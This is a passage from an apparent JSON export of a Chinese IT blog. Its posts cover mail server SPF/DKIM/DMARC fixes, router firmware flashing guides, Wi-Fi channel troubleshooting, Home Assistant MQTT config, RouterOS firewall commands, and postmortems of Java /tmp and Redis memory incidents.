12:\u0026#34; /var/log/maillog | grep \u0026#34;status=sent\u0026#34; | wc -l 2103 # 上一小时2103封 验证码邮件在中午时间段有集中爆发（饭点用户集中注册），1 小时内向同一收件域发送了超过 1000 封邮件——触发了腾讯的每小时发信频率限制。\nIP 信誉检查：\n使用 MXToolbox 查询发信 IP 203.x.x.x 的黑名单状态，发现被列在 2 个 RBL（实时黑名单）中——原因是该 IP 之前被用于发送过未订阅的营销邮件。\n解决方案\r紧急处理\r配置 SPF 记录（DNS 添加）： 1 company.com. IN TXT \u0026#34;v=spf1 ip4:203.x.x.x ~all\u0026#34; 配置 DKIM（Postfix 端）： 1 2 3 4 5 apt-get install opendkim # 生成密钥并配置 opendkim-genkey -d company.com -s default # DNS 添加 DKIM 公钥记录 default._domainkey.company.com. IN TXT \u0026#34;v=DKIM1; k=rsa; p=MIGfMA0G...\u0026#34; 配置 DMARC（DNS 添加）： 1 _dmarc.company.com. IN TXT \u0026#34;v=DMARC1; p=none; rua=mailto:postmaster@company.com\u0026#34; 配置 Postfix 速率限制： 1 2 3 4 # /etc/postfix/main.cf smtp_destination_rate_delay = 1s default_destination_concurrency_limit = 2 default_destination_recipient_limit = 10 清理 IP 信誉：向各 RBL 提交移除申请。 长期优化\r将验证码等高时效邮件改用短信/App 推送，降低邮件频率 配置 Postfix 的发信队列优先级，事务通知可延迟发送 监控发信退信率和队列积压 根因分析\r直接原因：自建邮件服务器未配置 SPF/DKIM/DMARC，腾讯企业邮箱将邮件判为低信誉，加上短时间高频发信触发流控限制直接被拒。\n深层原因：邮件基础设施在上线时跳过了邮件认证的标准配置，在业务规模扩大后这些问题被放大；同时业务层缺乏对邮件发送的节流控制。\n预防措施\r邮件认证三件套：SPF + DKIM + DMARC 是邮件服务器的标配，必须上线即配置 发信频率监控：按目标域统计发信频率，接近阈值时告警 退信率告警：退信率 \u0026gt;10% 立即告警 IP 信誉定期检测：每月查询 RBL 状态，及时处理 邮件发送策略分层：验证码等重要邮件走高优先级通道，营销/通知类走低优先级通道 总结\rSPF、DKIM、DMARC 这三条 DNS 记录加起来不超过 500 字节，但缺失它们就能让 60% 的邮件石沉大海。自建邮件服务器最大的挑战不是搭建 Postfix，而是让你的邮件被接收方信任。如果连基本的邮件认证都不做，从接收方的视角看，你的邮件和垃圾邮件只有一步之遥。\n","date":"2023-05-25T13:40:00Z","permalink":"/posts/b32a0e63/","title":"企业邮箱 SMTP 发信为何总被腾讯拒收？"},{"content":"前言\rJCG Q20路由器刷机教程，包括刷pb-boot、集客、Padavan、TTL救砖等，同时适配于JCG Q10Pro。\n准备工作\r备份分区文件\r打开putty软件，输入IP地址选择ssh进行登录\n登录用户名：root 密码：路由器底下铭牌上登陆密码。\nssh下输入查看分区命令\n1 cat /proc/mtd 所有分区已经列出来了，使用以下命令逐个进行备份\n1 2 3 4 5 6 7 8 9 10 dd if=/dev/mtd0 of=/tmp/Bootloader.bin dd if=/dev/mtd1 of=/tmp/Config.bin dd if=/dev/mtd2 of=/tmp/Factory.bin dd if=/dev/mtd3 of=/tmp/firmware.bin dd if=/dev/mtd4 of=/tmp/kernel.bin dd if=/dev/mtd5 of=/tmp/rootfs.bin dd if=/dev/mtd6 of=/tmp/rootfs_data.bin dd if=/dev/mtd7 of=/tmp/firmware_backup.bin dd if=/dev/mtd8 of=/tmp/rootfs_data_back.bin dd if=/dev/mtd9 of=/tmp/nvram_config.bin 使用文件传输软件WinSCP，文件协议选SCP，主机名输路由器的IP地址，用户名：root 密码：跟SSH一样是路由器底下铭牌上登陆密码。\n默认进入的是root目录，返回根目录，打开tmp文件夹将里面备份的文件复制出来，然后删除tmp文件夹内的文件。\n原厂系统刷集客\r使用的AX1800H固件\n集客的测试固件库\n选择JIKEAP_AX1800H_MT7621_K4_MT7915DN_WIFI6_NAND_FREE_7.4开头的固件下载\n需要在原厂固件下wbe内直刷，重启后就刷机完成了。\n刷pb-boot\r需要过渡固件，通过过渡固件开启telnet和ssh，再在ssh内刷入pb-boot。\n先准备需要的文件：padavan过渡系统固件、pb-boot和刷机工具putty。\n下载地址\n在原厂固件下选择 高级设置——左下角——升级固件——选择过渡固件——升级——等待重启。\n待路由器重启后，网页登陆padavan系统的IP地址：192.168.123.1 ，输入账号密码admin登录后台\n系统设置——服务——终端服务——启用telnet服务——启用ssh服务——是——保存\n使用WinSCP，文件协议选SCP，主机名输路由器的IP地址，账号密码admin登陆。上传pb-boot.img到路由器tmp目录下。\n打开putty软件，输入IP地址选择ssh进行登录，账号密码admin登陆。\n输入命令刷入pb-boot\n1 mtd_write write /tmp/pb-boot.img Bootloader 拔掉电源， 按住重置按钮并插上电源，在8秒后释放重置按钮，网页登陆IP地址192.168.1.1进入pb-boot\n可以刷入其它支持pb-boot的固件刷breed的引导程序，在breed下刷固件：选择固件包的时候要注意由于使用了小米CR660X的pb boot，选择的时候也要选择对应小米CR660X的固件，否则无法使用\n注意JCG Q20/Q10Pro固件有很多版本，这里借用恩山大佬qquccs的原话：\n目前论坛有三类固件，一是匹配原厂uboot的一般叫Q20，一类是匹配小米breed/pb boot的一般叫CR660X，一类是匹配小米breed/pb boot而且针对Q20的灯和wan口进行修改的也可能叫Q20，这个一定要看清楚，原厂uboot只能刷匹配原厂uboot的Q20固件，不然就会变砖!\n刷入适配pb boot的Padavan\r自编译的适配pb boot的Padavan\n项目地址\n特点：完美适配灯和wan，无任何插件纯净版，无线800M左右\nTTL救砖\r准备一个Q20的原厂包，刷入后恢复出厂设置，第一次连接会自动输入密码，更方便\n下载:https://wwd.lanzoul.com/i34hT01r0lte 密码:h10f\n固件 工具\nCH340G硬件及驱动文件，插到电脑上安装好驱动待用。\n先刷回官方boot，然后将路由器断电，把底部两颗拆掉，然后撬开顶上盖板及两颗螺丝，取出主板拆除天线及散热片。\n在设备管理器中确认下ttl的com端口，属性——端口设置——设置好波特率115200\n再putty连接，波特率115200，打开\n然后给路由通电，这时候因为读不到对应的分区信息，路由会不断重启，在putty窗口不停按回车，进入下图界面\n输入mtkautoboot回车\n接下来选升级固件（Upgrade fireware）\n这时候先把网线连接电脑和路由的lan口，并手动把电脑ip设置成192.168.1.2 掩码 255.255.255.0 网关192.168.1.1\n打开tftp,如图设置好，点put 回到putty界面，选tftp 三次回车，输入要刷的固件名，这边是 firmware.bin\n等待连接 刷入成功\n最后将把电脑ip重新设为自动获取，打开路由界面\n","date":"2023-05-13T11:32:11Z","permalink":"/posts/97279196/","title":"JCG Q20路由器刷机教程"},{"content":"前言\r将MTK7621路由器刷成Mikrotik RB750Gr3 的编程器固件\n准备工作\r1.搜索wr330或wr1200js，下单。\n2.下载rb750gr3编程器固件\n3.下载wr330的breed文件\n刷机\rwr330,加电状态下长按wp，恢复出厂设置。\n登陆http://192.168.0.1，在管理页面，把账号 admin 改为 root ,密码Admin123并保存。\n浏览器打开http://192.168.0.1/adm/telnetd.shtml 点Telnet后面的ON使其变成OFF。\n打开cmd ，输入telnet 192.168.0.1 输账号root ，回车，输密码Admin123 回车。\n找一个U盘并选FAT16格式化，把“breed-mt7621-pbr-m1.bin”复制到u盘根目录，然后插入wr330 usb口。\ntelnet下进入u盘根目录\n1 cd /media/sda1 备份原厂编程器固件\n1 dd if=/dev/mtd0 of=wr330.bin 刷入 breed\n1 mtd_write write breed-mt7621-pbr-m1.bin Bootloader 重启路由\n1 reboot 重启的同时，按住 WIFI 键进入 breed。\n浏览器打开192.168.1.1进入breed，更新固件，选择编程器固件，去掉 “保留Bootlodert”和“保留eeprom”前面的勾，选择RB750GR3-new.bin，上传，更新。\n静待一分钟，就进入routeros了。\n授权\rhttps://mikrotik.com/client 注册并登录。\n进入后台后，找到Make a demo key 填入Software ID（Software ID在进入ros管理页面时会跳出来），点击生成，就能得到一个L1的Key，粘贴到命令行或在Winbox的system下的License 处粘贴。\n结束\r45块包邮，mikrotik rb750gr3到手。\n备注\r中兴E8820S，改16M的SPI NOR闪存，移动板子后面两颗电阻位置，在防火墙设置里添加好fasttrack规则，电信千兆光纤基本可以跑满（注：需加强散热）； 友华WR330，刷后很完美，在防火墙设置里添加好fasttrack规则，电信千兆光纤基本可以跑满（注：需加强散热）； 中兴E8820 V2，虽然也是7621主控和16M SPI NOR闪存，但用编程器写了固件以后，WinBox无法搜索到； 小米路由器PRO（R3P），改16M的SPI NOR闪存，用编程器写了固件以后，WinBox无法搜索到。\n—————————————————————————————— 可刷这个固件的机型还有： newifi2 D1 斐讯k2p（A1 A2） BLINK W1200 bufullo wsr-1166dhp toto-link a3004ns 友华 wr1200js\n——————————————————————————————\n","date":"2023-05-13T09:32:11Z","permalink":"/posts/7c4a1a51/","title":"MTK7621路由器刷Mikrotik rb750gr3固件"},{"content":"问题背景\r公司办公楼 18-22 层为办公区域，每层部署 8 台 Aruba AP-515 无线接入点，由 Aruba 控制器集中管理。AP 间距约 12 米，2.4GHz 和 5GHz 双频覆盖。行政部位于 21 层，日常在线终端约 60 台（笔记本+手机）。\n故障现象\r4 月 18 日上午，21 层行政部同事集体反映 WiFi 无法使用——能连接到公司 SSID，信号满格，但浏览器打不开任何网页，企业微信持续\u0026quot;连接中\u0026quot;。同一栋楼 18 层和 22 层网络正常。\n管理控制器上查看 21 层 AP 状态：\n1 2 3 4 (Aruba Controller) # show ap active ap-name 21F-AP01 AP \u0026#34;21F-AP01\u0026#34; is UP, BSSID: f0:61:c0:xx:xx:01 Channel: 6 (2.4GHz) Noise: -82 dBm Channel Utilization: 94% Channel: 36 (5GHz) Noise: -92 dBm Channel Utilization: 12% 2.4GHz 频段的信道利用率高达 94%，底噪 -82 dBm（极差）。这相当于信道几乎被占满，有效传输几乎为零。\n排查过程\r第一步：排除硬件故障\r1 2 3 4 5 6 (Aruba Controller) # show ap debug system-status ap-name 21F-AP01 CPU Utilization: 12% Memory Free: 234MB / 512MB Uptime: 42 days Radio 0 (2.4GHz): TX Power 18dBm RX: 0 errors Radio 1 (5GHz): TX Power 20dBm RX: 0 errors AP 硬件状态完全正常，不是设备问题。\n第二步：检查 2.4GHz 频谱\r用 Aruba 的频谱分析功能扫描 21 层：\n1 2 3 Channel 1: Utilization 78%, Interfering APs: 12 Channel 6: Utilization 94%, Interfering APs: 18 Channel 11: Utilization 72%, Interfering APs: 10 2.4GHz 只有 3 个不重叠的信道（1、6、11），而 21 层的 8 台 AP 全部被控制器的 ARM（Adaptive Radio Management）算法分配到了同一个信道 6。\n同时，频谱分析发现了大量不属于公司的 BSSID——来自隔壁写字楼的 AP 信号穿透了楼层之间的墙壁，大量集中在信道 6。\n第三步：检查 ARM 配置\r1 2 3 4 5 (Aruba Controller) # show arm config ARM Assignment: single-band # 关键配置 Channel Assignment: enabled Channel Quality Threshold: 25 Channel Change Interval: 600 seconds ARM Assignment: single-band 意味着 ARM 算法在每个频段独立分配信道，但没有强制跨 AP 信道隔离。ARM 为每个 AP 选择了\u0026quot;质量最好\u0026quot;的信道，而 21 层因为建筑结构的原因信道 6 在多个位置都表现出最佳质量——于是所有 AP 被分到了同一个信道。\n加上隔壁写字楼的干扰，信道 6 彻底瘫痪。\n第四步：尝试 5GHz 引导\r检查 21 层终端连接分布：\n1 2 3 4 5 (Aruba Controller) # show ap association ap-name 21F-AP01 SSID: Corp-WiFi Client MAC: ac:bc:32:xx:xx:01 Band: 2.4GHz Signal: -45dBm (支持5GHz但未连接) Client MAC: b0:70:2d:xx:xx:02 Band: 2.4GHz Signal: -50dBm (仅支持2.4GHz) ... 大部分终端明明支持 5GHz，却全部连在 2.4GHz 上。原因是控制器没有启用 Band Steering（频段引导），终端扫描时先找到 2.4GHz 信号更强的 AP 就直接连上去了。\n解决方案\r手动指定 21 层 AP 的 2.4GHz 信道： 1 2 3 4 5 (Aruba Controller) # ap-regulatory 21F-AP01 channel 2.4 1 (Aruba Controller) # ap-regulatory 21F-AP02 channel 2.4 11 (Aruba Controller) # ap-regulatory 21F-AP03 channel 2.4 1 (Aruba Controller) # ap-regulatory 21F-AP04 channel 2.4 11 ... 将 8 台 AP 均匀分配到信道 1、6、11（3:3:2 分布）。\n启用 Band Steering：引导支持 5GHz 的终端优先连接 5GHz 频段。\n降低 2.4GHz TX Power：从 18dBm 降到 12dBm，缩小 2.4GHz 覆盖范围，减少同频干扰和跨楼层泄漏。\n调整 ARM 策略：将 single-band 改为 multi-band，让 ARM 综合评估 2.4GHz 和 5GHz 的负载来分配信道。\n修改后信道利用率从 94% 骤降到 35-45%，网络恢复正常。\n根因分析\r直接原因：ARM 自动信道分配将 21 层 8 台 AP 全部放在信道 6，加上邻居无线干扰，同频信道饱和。\n深层原因：\n未启用 Band Steering，大量 5GHz 终端挤在 2.4GHz 2.4GHz 发射功率过高，信号溢出到相邻楼层形成额外干扰 ARM 的 single-band 模式过于宽松，未做同楼层 AP 信道隔离 预防措施\r启用 Band Steering：新 AP 上线模板中默认开启 射频策略标准化：2.4GHz TX Power ≤ 14dBm（高密度办公环境），5GHz TX Power ≤ 20dBm 5GHz 优先：在新员工 IT 指引中加入\u0026quot;优先使用 5GHz WiFi\u0026quot;的提示 定期频谱分析：每月对办公区做一次频谱扫描，发现异常干扰及时调整 ARM 配置优化：升级到 multi-band 模式，启用 ClientMatch 优化终端连接 总结\r2.4GHz WiFi 只有 3 个有效信道，在 8 台 AP 的楼层里全部挤在同一条信道上就是灾难。ARM 自动信道分配不是\u0026quot;自动驾驶\u0026quot;——它追求的是单 AP 最优，不是整层最优。高密度部署场景下，手动干预信道规划 + 降低 2.4GHz 功率 + 引导终端上 5GHz，是解决无线拥塞的三板斧。\n","date":"2023-04-18T09:10:00Z","permalink":"/posts/460eac0e/","title":"记一次无线 AP 信道干扰致高层半层网络瘫痪"},{"content":"前言\rzTC1通过MQTT服务器接入HA，通过MQTT配置使zTC1接入HA连接的MQTT服务器。 必须能够用app通过mqtt进行控制，之后的homeassistant接入才能成功，如果app无法通过mqtt控制，请先完成mqtt的相关配置。\nHome Assistant配置\rconfiguration.yaml配置\r使用Packages文件夹下创建单独文件的方式来管理HA的设备\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 # Loads default set of integrations. Do not remove. default_config: # Load frontend themes from the themes folder frontend: themes: !include_dir_merge_named themes # Text to speech tts: - platform: google_translate automation: !include automations.yaml script: !include scripts.yaml scene: !include scenes.yaml homeassistant: packages: !include_dir_named packages Packages文件夹配置\r新建一个packages的文件夹。 如果接入多个ztc1，只需要创建多个yaml文件（文件名不同）,每个文件替换mac地址即可接入多个ztc1。\n以下内容中,请将MACMAC替换为你的排插的mac地址,不带冒号,全部小写,如123456789abc mac地址可以在app设备设置页面中点击mac地址直接复制。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 mqtt: switch: - name: \u0026#39;ztc1_1_MACMAC\u0026#39; unique_id: ztc1_1_MACMAC state_topic: \u0026#39;device/ztc1/MACMAC/state\u0026#39; command_topic: \u0026#39;device/ztc1/MACMAC/set\u0026#39; payload_on: \u0026#39;{\u0026#34;mac\u0026#34;:\u0026#34;MACMAC\u0026#34;,\u0026#34;plug_0\u0026#34;:{\u0026#34;on\u0026#34;:1}}\u0026#39; payload_off: \u0026#39;{\u0026#34;mac\u0026#34;:\u0026#34;MACMAC\u0026#34;,\u0026#34;plug_0\u0026#34;:{\u0026#34;on\u0026#34;:0}}\u0026#39; value_template: \u0026#39;{{ value_json.plug_0.on }}\u0026#39; state_on: \u0026#39;1\u0026#39; state_off: \u0026#39;0\u0026#39; - name: \u0026#39;ztc1_2_MACMAC\u0026#39; unique_id: ztc1_2_MACMAC state_topic: \u0026#39;device/ztc1/MACMAC/state\u0026#39; command_topic: \u0026#39;device/ztc1/MACMAC/set\u0026#39; payload_on: \u0026#39;{\u0026#34;mac\u0026#34;:\u0026#34;MACMAC\u0026#34;,\u0026#34;plug_1\u0026#34;:{\u0026#34;on\u0026#34;:1}}\u0026#39; payload_off: \u0026#39;{\u0026#34;mac\u0026#34;:\u0026#34;MACMAC\u0026#34;,\u0026#34;plug_1\u0026#34;:{\u0026#34;on\u0026#34;:0}}\u0026#39; value_template: \u0026#39;{{ value_json.plug_1.on }}\u0026#39; state_on: \u0026#39;1\u0026#39; state_off: \u0026#39;0\u0026#39; - name: \u0026#39;ztc1_3_MACMAC\u0026#39; unique_id: ztc1_3_MACMAC state_topic: \u0026#39;device/ztc1/MACMAC/state\u0026#39; command_topic: \u0026#39;device/ztc1/MACMAC/set\u0026#39; payload_on: \u0026#39;{\u0026#34;mac\u0026#34;:\u0026#34;MACMAC\u0026#34;,\u0026#34;plug_2\u0026#34;:{\u0026#34;on\u0026#34;:1}}\u0026#39; payload_off: \u0026#39;{\u0026#34;mac\u0026#34;:\u0026#34;MACMAC\u0026#34;,\u0026#34;plug_2\u0026#34;:{\u0026#34;on\u0026#34;:0}}\u0026#39; value_template: \u0026#39;{{ value_json.plug_2.on }}\u0026#39; state_on: \u0026#39;1\u0026#39; state_off: \u0026#39;0\u0026#39; - name: \u0026#39;ztc1_4_MACMAC\u0026#39; unique_id: ztc1_4_MACMAC state_topic: \u0026#39;device/ztc1/MACMAC/state\u0026#39; command_topic: \u0026#39;device/ztc1/MACMAC/set\u0026#39; payload_on: \u0026#39;{\u0026#34;mac\u0026#34;:\u0026#34;MACMAC\u0026#34;,\u0026#34;plug_3\u0026#34;:{\u0026#34;on\u0026#34;:1}}\u0026#39; payload_off: \u0026#39;{\u0026#34;mac\u0026#34;:\u0026#34;MACMAC\u0026#34;,\u0026#34;plug_3\u0026#34;:{\u0026#34;on\u0026#34;:0}}\u0026#39; value_template: \u0026#39;{{ value_json.plug_3.on }}\u0026#39; state_on: \u0026#39;1\u0026#39; state_off: \u0026#39;0\u0026#39; - name: \u0026#39;ztc1_5_MACMAC\u0026#39; unique_id: ztc1_5_MACMAC state_topic: \u0026#39;device/ztc1/MACMAC/state\u0026#39; command_topic: \u0026#39;device/ztc1/MACMAC/set\u0026#39; payload_on: \u0026#39;{\u0026#34;mac\u0026#34;:\u0026#34;MACMAC\u0026#34;,\u0026#34;plug_4\u0026#34;:{\u0026#34;on\u0026#34;:1}}\u0026#39; payload_off: \u0026#39;{\u0026#34;mac\u0026#34;:\u0026#34;MACMAC\u0026#34;,\u0026#34;plug_4\u0026#34;:{\u0026#34;on\u0026#34;:0}}\u0026#39; value_template: \u0026#39;{{ value_json.plug_4.on }}\u0026#39; state_on: \u0026#39;1\u0026#39; state_off: \u0026#39;0\u0026#39; - name: \u0026#39;ztc1_6_MACMAC\u0026#39; unique_id: ztc1_6_MACMAC state_topic: \u0026#39;device/ztc1/MACMAC/state\u0026#39; command_topic: \u0026#39;device/ztc1/MACMAC/set\u0026#39; payload_on: \u0026#39;{\u0026#34;mac\u0026#34;:\u0026#34;MACMAC\u0026#34;,\u0026#34;plug_5\u0026#34;:{\u0026#34;on\u0026#34;:1}}\u0026#39; payload_off: \u0026#39;{\u0026#34;mac\u0026#34;:\u0026#34;MACMAC\u0026#34;,\u0026#34;plug_5\u0026#34;:{\u0026#34;on\u0026#34;:0}}\u0026#39; value_template: \u0026#39;{{ value_json.plug_5.on }}\u0026#39; state_on: \u0026#39;1\u0026#39; state_off: \u0026#39;0\u0026#39; sensor: - name: \u0026#39;ztc1_power_MACMAC\u0026#39; unique_id: ztc1_power_MACMAC state_topic: \u0026#39;device/ztc1/MACMAC/sensor\u0026#39; unit_of_measurement: \u0026#39;W\u0026#39; icon: \u0026#39;mdi:gauge\u0026#39; value_template: \u0026#39;{{ value_json.power }}\u0026#39; - name: \u0026#39;ztc1_time_MACMAC\u0026#39; unique_id: ztc1_time_MACMAC state_topic: \u0026#39;device/ztc1/MACMAC/sensor\u0026#39; #unit_of_measurement: \u0026#39;秒\u0026#39; icon: \u0026#39;mdi:gauge\u0026#39; #value_template: \u0026#39;{{ value_json.total_time }}\u0026#39; value_template: \u0026gt;- {% set time = value_json.total_time %} {% set minutes = ((time % 3600) / 60) | int %} {% set hours = ((time % 86400) / 3600) | int %} {% set days = (time / 86400) | int %} {%- if time \u0026lt; 60 -%} \u0026lt;1分钟 {%- else -%} {%- if days \u0026gt; 0 -%} {{ days }}天 {%- endif -%} {%- if hours \u0026gt; 0 -%} {{ hours }}小时 {%- endif -%} {%- if minutes \u0026gt; 0 -%} {{ minutes }}分钟 {%- endif -%} {%- endif -%} homeassistant: customize: switch.ztc1_1_MACMAC: friendly_name: zTC1插槽1 switch.ztc1_2_MACMAC: friendly_name: zTC1插槽2 switch.ztc1_3_MACMAC: friendly_name: zTC1插槽3 switch.ztc1_4_MACMAC: friendly_name: zTC1插槽4 switch.ztc1_5_MACMAC: friendly_name: zTC1插槽5 switch.ztc1_6_MACMAC: friendly_name: zTC1插槽6 sensor.ztc1_power_MACMAC: friendly_name: zTC1功率 sensor.ztc1_time_MACMAC: friendly_name: zTC1运行时间 ","date":"2023-04-01T19:22:10Z","permalink":"/posts/01f2b6c4/","title":"zTC1支持接入Home Assistant"},{"content":"前言\r自用RouterOS系统设置命令，包括DoH证书以及常用防火墙设置。\nDNS设置\r使用阿里云DoH Dns地址 https://dns.alidns.com/dns-query\n证书导入\r以下是证书导入代码\n1 2 3 4 5 6 /tool fetch url=\u0026#34;https://secure.globalsign.net/cacert/Root-R5.crt\u0026#34; /tool fetch url=\u0026#34;https://secure.globalsign.com/cacert/gseccovsslca2018.crt\u0026#34; /certificate import file-name=Root-R5.crt /certificate import file-name=gseccovsslca2018.crt 静态地址解析\rRouterOS.Lan\n172.16.1.1 dns.alidns.com\n223.5.5.5 223.6.6.6 防火墙设置\r1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 /interface list add name=WAN comment=\u0026#34;defconf: Connect To Global\u0026#34; add name=LAN comment=\u0026#34;defconf: Local Bridge\u0026#34; add name=ONU comment=\u0026#34;onuconf: Access To ONU\u0026#34; /interface list member add interface=pppoe-out1 list=WAN comment=\u0026#34;defconf: Connect To Global\u0026#34; add interface=bridge1 list=LAN comment=\u0026#34;defconf: Local Bridge\u0026#34; add interface=ether2 list=ONU comment=\u0026#34;onuconf: Access To ONU\u0026#34; /ip firewall address-list add address=192.168.1.1 comment=\u0026#34;onuconf: ONU Address\u0026#34; list=onu_ipv4 add address=172.16.1.0/24 comment=\u0026#34;lanconf: Local Address\u0026#34; list=local_subnet_ipv4 add address=172.16.1.1 comment=\u0026#34;lanconf: Local DNS Address\u0026#34; list=local_dns_ipv4 /ip firewall nat add action=endpoint-independent-nat chain=srcnat protocol=udp place-before=0 comment=FullCone-Nat add action=endpoint-independent-nat chain=dstnat protocol=udp place-before=0 comment=FullCone-Nat add action=masquerade chain=srcnat comment=\u0026#34;defconf: masquerade\u0026#34; out-interface-list=WAN add action=masquerade chain=srcnat out-interface-list=ONU src-address-list=local_subnet_ipv4 dst-address-list=onu_ipv4 comment=\u0026#34;onuconf: Access To ONU\u0026#34; /ip firewall mangle add action=change-mss chain=forward comment=\u0026#34;defconf: Fix IPv4 MSS For WAN\u0026#34; new-mss=clamp-to-pmtu passthrough=yes protocol=tcp tcp-flags=syn add action=accept chain=prerouting src-address-list=local_subnet_ipv4 dst-address-list=onu_ipv4 comment=\u0026#34;onuconf: Access To ONU\u0026#34; ","date":"2023-03-21T17:43:05Z","permalink":"/posts/c3837b48/","title":"自用RouterOS系统设置命令"},{"content":"问题背景\r公司微服务集群部署在 CentOS 7 服务器上，Java 应用（Spring Boot）运行时需要在 /tmp 下创建临时目录用于嵌入式 Tomcat 的文件上传缓存和 JNA 的 native 库解压。此前该环境稳定运行超过一年。\n故障现象\r3 月 10 日下午 4:00，运维团队完成了一批安全加固操作（包括配置 systemd-tmpfiles 清理规则）后，陆续有监控告警：订单服务、支付服务和文件上传服务的 error rate 开始上升。\n日志中出现大量：\n1 2 3 4 5 6 7 8 9 10 Caused by: java.io.IOException: Permission denied at java.io.UnixFileSystem.createFileExclusively(Native Method) at java.io.File.createTempFile(File.java:2024) ... at org.apache.tomcat.util.http.fileupload.disk.DiskFileItem.write() Caused by: java.io.IOException: No such file or directory at java.io.UnixFileSystem.createFileExclusively(Native Method) ... at org.springframework.boot.web.embedded.tomcat.TomcatServletWebServerFactory 所有涉及临时文件创建的操作——文件上传、PDF 导出、Excel 生成——全部失败。\n排查过程\r第一步：检查 /tmp 状态\r1 2 3 4 5 $ ls -la /tmp/ total 8 drwxrwxrwt. 3 root root 60 Mar 10 16:01 . dr-xr-xr-x. 19 root root 280 Mar 10 15:58 .. drwx------ 2 app app 40 Mar 10 15:58 hsperfdata_app Spring Boot 默认创建的 /tmp/tomcat.* 目录全部不存在！\n第二步：检查 /tmp 的挂载选项\r1 2 $ mount | grep /tmp tmpfs on /tmp type tmpfs (rw,nosuid,nodev,noexec,relatime) noexec 标志——/tmp 被挂载为禁止执行。Java 的 JNA（Java Native Access）需要在 /tmp 下解压 .so 文件并加载，noexec 直接导致这个操作失败。\n第三步：追溯变更\r在安全加固中新增了 systemd-tmpfiles 配置：\n1 2 3 $ cat /etc/tmpfiles.d/security-cleanup.conf # 安全加固：每天清理/tmp下超过24小时未访问的文件 d /tmp 1777 root root 1d 关键问题在这一行 d /tmp 1777 root root 1d——它告诉 systemd-tmpfiles：\n如果 /tmp 不存在，用权限 1777 创建；如果存在，清空所有超过 1 天的文件和目录。\n更致命的是，临时目录规则并不是简单的 rm——它在创建 /tmp 时不会自动加上 exec 选项，而运维恰好在 /etc/fstab 中也添加了 noexec。\n第四步：验证清理动作\r1 2 3 4 5 $ systemd-tmpfiles --clean /etc/tmpfiles.d/security-cleanup.conf --dry-run Would remove /tmp/tomcat.8080.1234567890 Would remove /tmp/tomcat.8443.1234567891 Would remove /tmp/jna-3506402 ... 一次清理会删掉所有正在运行的 Java 应用创建的临时目录。由于 Spring Boot 的 Embedded Tomcat 在启动时创建了 /tmp/tomcat.* 目录，运行时持续使用。当 systemd-tmpfiles 在每天的定时任务中执行清理时，会连同正在使用的临时目录一起删除。\n而且 Java 应用尝试重新创建时，因为 noexec 导致 JNA 的解压-加载流程失败，进而引发连锁失败。\n解决方案\r紧急恢复\r1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 # 1. 移除noexec mount -o remount,exec /tmp # 2. 修正systemd-tmpfiles规则 cat \u0026gt; /etc/tmpfiles.d/security-cleanup.conf \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; # 只清理/tmp下的临时文件，不删除目录结构 # 排除Java和Tomcat的临时目录 q /tmp 1777 root root 1d x /tmp/tomcat.* x /tmp/jna-* x /tmp/hsperfdata_* EOF # 3. 重启受影响的服务 systemctl restart order-service payment-service upload-service 长期方案\r1 2 3 4 5 6 7 8 9 // 应用层指定独立的临时目录，不依赖/tmp @Bean public TomcatServletWebServerFactory tomcatFactory() { TomcatServletWebServerFactory factory = new TomcatServletWebServerFactory(); factory.addContextCustomizers(context -\u0026gt; { context.setTempDir(new File(\u0026#34;/opt/app/temp\u0026#34;)); }); return factory; } 在服务器上为每个应用创建独立的临时目录 /opt/\u0026lt;app\u0026gt;/temp/，脱离 /tmp 依赖。\n根因分析\r直接原因：安全加固中同时做了两件事——配置 systemd-tmpfiles 清空 /tmp 并给 /tmp 加了 noexec——导致 Java 应用的临时目录被删除后无法重新创建和加载 native 库。\n深层原因：安全策略变更未在测试环境验证对业务应用的影响。/tmp 目录被大量 Linux 应用隐式依赖，任何对其的变更都应该做充分的影响评估。\n预防措施\r应用临时目录独立化：每个微服务使用独立的 /opt/\u0026lt;app\u0026gt;/temp/，不共用 /tmp 安全变更影响评估：对基础环境（/tmp、/etc/fstab、内核参数等）的变更，必须先在测试环境验证 48 小时 禁止盲加 noexec：noexec 对 /tmp 更安全，但必须确认所有应用兼容后才上线 监控 /tmp 异常：添加 Prometheus 指标监控 Java 应用是否能正常创建临时文件 变更窗口制度：基础环境变更必须在低峰窗口执行，且保留回滚 SOP 总结\r/tmp 是 Linux 上最\u0026quot;透明\u0026quot;又最危险的目录——几乎所有应用都在用它，但没人专门管理它。运维想做安全加固，方向没错，但 noexec + 定时清理这组组合拳在非 JNA 环境下可能没事，一碰到 Java 的 native 库加载就炸了。教训是：对共享资源的变更，影响的不是你自己用的那个应用，而是所有依赖它的应用。\n","date":"2023-03-10T16:20:00Z","permalink":"/posts/25cf583a/","title":"Linux /tmp 被定时清理致 Java 应用建不了临时文件"},{"content":"问题背景\r某业务大促活动开始后约 2 小时，监控告警系统收到大量告警：\n数据库（MySQL）慢查询数量骤增，P99 响应时间从 50ms 升至 8000ms 部分 API 接口 5xx 错误率达到 15% Redis 实例的 rejected_connections 计数器快速增长 业务团队紧急联系运维排查，此时活动已进入高峰期，影响用户体验，需要快速定位并修复。\n故障现象\rRedis INFO 命令返回 used_memory 接近服务器总内存 Redis 日志中出现大量 OOM command not allowed when used memory \u0026gt; 'maxmemory' 错误 应用日志中 Redis 写操作报错：COMMAND NOT ALLOWED When Used Memory \u0026gt; 'maxmemory' MySQL 慢查询日志急剧增多，大量查询耗时 5-10 秒 部分服务接口响应超时，用户请求报 504 排查过程\r第一步：确认 Redis 状态\r1 redis-cli -h redis-prod-01 -p 6379 -a \u0026lt;password\u0026gt; INFO memory 关键输出：\n1 2 3 4 5 6 used_memory:8388557312 # 约 8GB used_memory_human:7.81G maxmemory:8589934592 # 8GB maxmemory_human:8.00G maxmemory_policy:noeviction # ⚠️ 不淘汰策略 